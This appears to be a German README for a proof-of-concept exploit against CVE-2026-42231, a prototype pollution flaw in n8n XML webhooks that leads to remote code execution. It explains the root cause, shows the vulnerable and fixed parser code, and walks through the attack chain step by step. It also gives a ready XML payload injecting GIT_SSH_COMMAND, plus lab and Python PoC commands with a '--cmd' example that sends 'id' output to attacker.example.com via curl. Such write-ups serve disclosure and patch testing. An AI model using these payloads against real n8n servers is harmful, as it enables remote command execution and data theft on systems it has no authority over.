
Proof-of-Concept-Exploit für CVE-2026-42231, eine kritische Prototype-Pollution-Schwachstelle in n8n-XML-Webhooks, die zu Remote-Code-Ausführung führt. Enthält Docker-Lab, Python-PoC und Node.js-Verifier.
CVE: CVE-2026-42231
Schweregrad: Kritisch (CVSS 10.0)
Betroffen: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Behoben in: n8n 1.123.32 / 2.17.4 / 2.18.1
packages/cli/src/middlewares/body-parser.ts erstellt einen
Singleton-xml2js-Parser auf Modulebene ohne tagNameProcessors oder
attrNameProcessors. Dadurch kann ein Angreifer einen XML-Webhook-Body
senden, der ein <__proto__>-Element enthält.
xml2js 0.6.2 verwendet Object.defineProperty mit einem Daten-Descriptor, um
Element-Schlüssel auf geparsten Objekten zu setzen. Da '__proto__' in obj immer
true ist, verpackt assignOrPush() den Wert in ein Array und speichert ihn als
eigene aufzählbare Daten-Eigenschaft — wodurch der [[Set]]-Accessor umgangen wird,
der normalerweise die Prototyp-Kette sicher aktualisieren würde.
Die eigene __proto__-Eigenschaft übersteht JSON.stringify (das ausgeführt wird, wenn n8n
Ausführungsdaten in SQLite/PostgreSQL persistiert), und nach JSON.parse beim
Neuladen leitet ein anschließendes Object.assign(target, reloadedBody) den
Prototyp von target auf das vom Angreifer kontrollierte Objekt um.
In Workflows, die zusätzlich einen Git-Knoten enthalten, der eine SSH-Operation
durchführt, legt der verschmutzte Prototyp einen spawnOptions- / GIT_SSH_COMMAND-Wert
für simple-git's createInstanceConfig offen, was eine OS-weite Befehlsausführung
ermöglicht.
// packages/cli/src/middlewares/body-parser.ts (VERWUNDBAR — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // wandelt Tags in Kleinbuchstaben um — blockiert aber NICHT __proto__
explicitArray: false,
// ← KEINE tagNameProcessors
// ← KEINE attrNameProcessors
});
Fix (>= 1.123.32):
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
1. Angreifer sendet XML-POST an einen öffentlichen Webhook-Trigger:
POST /webhook/<id> Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<env GIT_SSH_COMMAND="attacker_cmd"/>
<spawnoptions><shell>true</shell></spawnoptions>
</__proto__>
</root>
2. Der xml2js-Body-Parser erstellt req.body.root, wobei '__proto__' eine
EIGENE AUFZÄHLBARE DATEN-EIGENSCHAFT ist:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. n8n's deepCopy() iteriert über eigene Schlüssel via for...in + hasOwnProp.
Die Zuweisung clone['__proto__'] = deepCopy(attackerArray)
ersetzt stillschweigend den Prototyp von clone über den [[Set]]-Accessor.
4. n8n serialisiert Ausführungsdaten in die DB:
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
Der __proto__-Schlüssel ist enthalten, weil er eigene und aufzählbar ist.
Bestätigt in der execution_data-Tabelle in SQLite.
5. Beim Neuladen erstellt JSON.parse '__proto__' als eigene Daten-Eigenschaft
(einfaches Objekt, ohne Array-Umhüllung).
Object.assign(gitOptions, reloadedBody)
leitet den Prototyp von gitOptions auf das vom Angreifer kontrollierte Objekt um.
6. Wenn der Git-Knoten simpleGit(gitOptions) aufruft:
createInstanceConfig(gitOptions)
liest config.spawnOptions über die Prototyp-Kette → truthy →
spawnOptionsPlugin wird registriert.
Mit GIT_SSH_COMMAND im env-Objekt führt git beim nächsten SSH-Vorgang den
Befehl des Angreifers aus.
normalizeTagsnormalizeTags: true wandelt alle XML-Tag-Namen in Kleinbuchstaben um, sodass
untergeordnete Elemente wie <GIT_SSH_COMMAND> im geparsten Objekt zu
git_ssh_command werden. Um die Groß-/Kleinschreibung für Umgebungsvariablennamen
beizubehalten, verwenden Sie XML-Attribute (Attributnamen werden von
normalizeTags nicht normalisiert):
<env GIT_SSH_COMMAND="attacker_cmd"/>
chmod +x exploit.sh
./exploit.sh setup
Dies zieht n8nio/n8n:1.123.22 (letzte betroffene Version), baut das
Angreifer-Image, startet das verwundbare Ziel unter http://localhost:5678,
erstellt und aktiviert automatisch einen Webhook-Workflow und speichert die
Webhook-URL in .webhook_state.
./exploit.sh setup
Erwartete Ausgabe (gekürzt):
[*] Ziehe verwundbares n8n-Image (1.123.22) ...
[*] Baue Angreifer-Image ...
[*] Starte verwundbares n8n-Ziel ...
[*] Warte, bis n8n gesund ist ...
[*] Erstelle Webhook-Workflow (Webhook → Code-Knoten) ...
[+] Labor ist bereit.
Führen Sie aus: ./exploit.sh demo # Pollution-Primitive verifizieren
./exploit.sh exploit # alle drei RCE-Payloads ausliefern
./exploit.sh demo
Der PoC sendet einen Verifizierungs-Payload und zeigt den geparsten Body, der vom n8n-Workflow zurückgegeben wird. Eine verwundbare Instanz liefert:
[+] HTTP 200
Response: {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
./exploit.sh exploit
# oder mit einem benutzerdefinierten Befehl:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
Drei komplementäre Payloads werden ausgeliefert:
| Payload | Technik |
|---|---|
| A | <__proto__>-Tag — GIT_SSH_COMMAND als XML-Attribut |
| B | <constructor><prototype>-Kette |
| C | Verschachteltes <__proto__> mit env-Attributen |
GIT_SSH_COMMAND enthalten, wenn RCE ausgelöst wurde."step4_objectAssignPolluted": true, was die Kette bestätigt.pip install -r requirements.txt
# Nur verifizieren — kein Git-Knoten erforderlich:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-pfad> \
--demo
# Vollständiger Exploit — erfordert Webhook + Git/SSH-Knoten-Workflow:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-pfad> \
--cmd 'curl http://attacker.example.com/$(id|base64)'